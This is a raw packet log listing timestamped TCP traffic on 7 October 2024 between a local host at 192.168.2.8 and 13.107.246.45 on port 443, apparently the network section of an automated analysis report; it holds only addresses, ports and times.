Oct 7, 2024 06:45:55.419743061 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.419805050 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.443901062 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.449990988 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.450166941 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.450239897 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.495743990 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.507106066 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.507136106 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.507147074 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.507153034 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.509877920 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.509886026 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.510996103 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.510999918 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.512252092 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.512252092 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.512293100 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.512309074 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.519712925 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.519741058 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.519823074 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.520236969 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.520251989 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.524221897 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.524317026 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.524399042 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.525013924 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.525051117 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.605398893 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.605432034 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.605484962 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.605510950 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.605565071 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.613961935 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.613977909 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.613989115 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.613993883 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.697398901 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.723448038 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.723488092 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.729175091 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.729204893 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.802494049 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.807523966 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.807554007 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.808214903 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.808223009 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.821986914 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.822035074 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.822120905 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.828749895 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.829010963 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.829108953 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.836100101 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.836126089 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.852391958 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.852442980 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.852463007 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.852477074 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.890131950 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.890163898 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.890239954 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.891870022 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.891882896 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.907316923 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.907367945 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.907432079 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.907449007 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.907507896 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.907565117 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.909775972 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.909785032 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.909806013 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.909811974 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.038655996 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.038746119 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.039031029 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.165637016 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.182480097 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.214468002 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.230093002 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.233503103 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.233520985 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.234179020 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.234185934 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.234625101 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.234692097 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.237227917 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.237247944 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.237822056 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.237833977 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.332896948 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333164930 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333235025 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.333276987 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333292961 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333314896 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333352089 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333384991 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.333401918 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.333422899 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333914995 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.333971024 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.375880957 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.375915051 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.375988960 CEST	49904	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.376008987 CEST	443	49904	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.377580881 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.377604008 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.377619028 CEST	49903	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.377625942 CEST	443	49903	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.387526035 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.387566090 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.387659073 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.389266014 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.389312029 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.389398098 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.389522076 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.389542103 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.392129898 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.392152071 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.504904032 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.505528927 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.505548000 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.506290913 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.506299973 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.573873997 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.575295925 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.575319052 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.576030016 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.576035976 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.608537912 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.608704090 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.608766079 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.608891964 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.608911037 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.608925104 CEST	49905	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.608932972 CEST	443	49905	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.612374067 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.612402916 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.612478018 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.612633944 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.612643003 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.676912069 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.677488089 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.677587032 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.677607059 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.677642107 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.677704096 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.677704096 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.677726984 CEST	49906	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.677736998 CEST	443	49906	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.680903912 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.680924892 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.681000948 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.681289911 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.681303024 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.874098063 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.874903917 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.874960899 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.875489950 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.875509024 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.970695019 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.971024036 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.971165895 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.971249104 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.971249104 CEST	49907	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.971291065 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.971318960 CEST	443	49907	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.974771976 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.974821091 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:56.975359917 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.975503922 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:56.975521088 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.032866001 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.034887075 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.034919977 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.035375118 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.035393000 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.068465948 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.069030046 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.069058895 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.069641113 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.069648027 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.131082058 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.131226063 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.131462097 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.131500959 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.131525040 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.131541967 CEST	49909	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.131551027 CEST	443	49909	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.135229111 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.135273933 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.135361910 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.135539055 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.135562897 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.171567917 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.171725035 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.171855927 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.173871994 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.173871994 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.173871994 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.175260067 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.175293922 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.175374985 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.175555944 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.175575972 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.251694918 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.252423048 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.252448082 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.253137112 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.253144979 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.329730988 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.330521107 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.330532074 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.331140041 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.331145048 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.349098921 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.349162102 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.349222898 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.349323034 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.349368095 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.349642992 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.349673986 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.349688053 CEST	49910	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.349697113 CEST	443	49910	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.353357077 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.353444099 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.353554964 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.353745937 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.353766918 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.431255102 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.432132006 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.432208061 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.432259083 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.432270050 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.432282925 CEST	49911	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.432288885 CEST	443	49911	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.435925007 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.436032057 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.436343908 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.436547995 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.436590910 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.480106115 CEST	49908	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.480129957 CEST	443	49908	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.641925097 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.642448902 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.642476082 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.642976999 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.642983913 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.743957996 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.744666100 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.744751930 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.744780064 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.744807005 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.745026112 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.745057106 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.745070934 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.745070934 CEST	49912	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.745080948 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.745089054 CEST	443	49912	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.749074936 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.749111891 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.749197960 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.749394894 CEST	49917	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.749413013 CEST	443	49917	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.778938055 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.782221079 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.782252073 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.782716036 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.782722950 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.815468073 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.818296909 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.818311930 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.818766117 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.818772078 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.877506971 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.877685070 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.882098913 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.882231951 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.882241964 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.882251978 CEST	49913	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.882256031 CEST	443	49913	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.885833025 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.885855913 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.885960102 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.886161089 CEST	49918	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.886173964 CEST	443	49918	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.913357973 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.913572073 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.913655043 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.913772106 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.913775921 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.913798094 CEST	49914	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.913800955 CEST	443	49914	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.917119980 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.917232990 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:57.917340040 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.917494059 CEST	49919	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:57.917525053 CEST	443	49919	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.029333115 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.029994965 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.030020952 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.030484915 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.030494928 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.075934887 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.076709032 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.076752901 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.077193975 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.077210903 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.133848906 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.133887053 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.133944035 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.133991957 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.134051085 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.134938955 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.134979963 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.135009050 CEST	49915	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.135024071 CEST	443	49915	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.140515089 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.140542030 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.140681982 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.140877008 CEST	49920	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.140888929 CEST	443	49920	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.177396059 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.177443027 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.177520037 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.177712917 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.177767038 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.177803040 CEST	49916	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:58.177818060 CEST	443	49916	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:58.180813074 CEST	49921	443	192.168.2.8	13.107.246.45
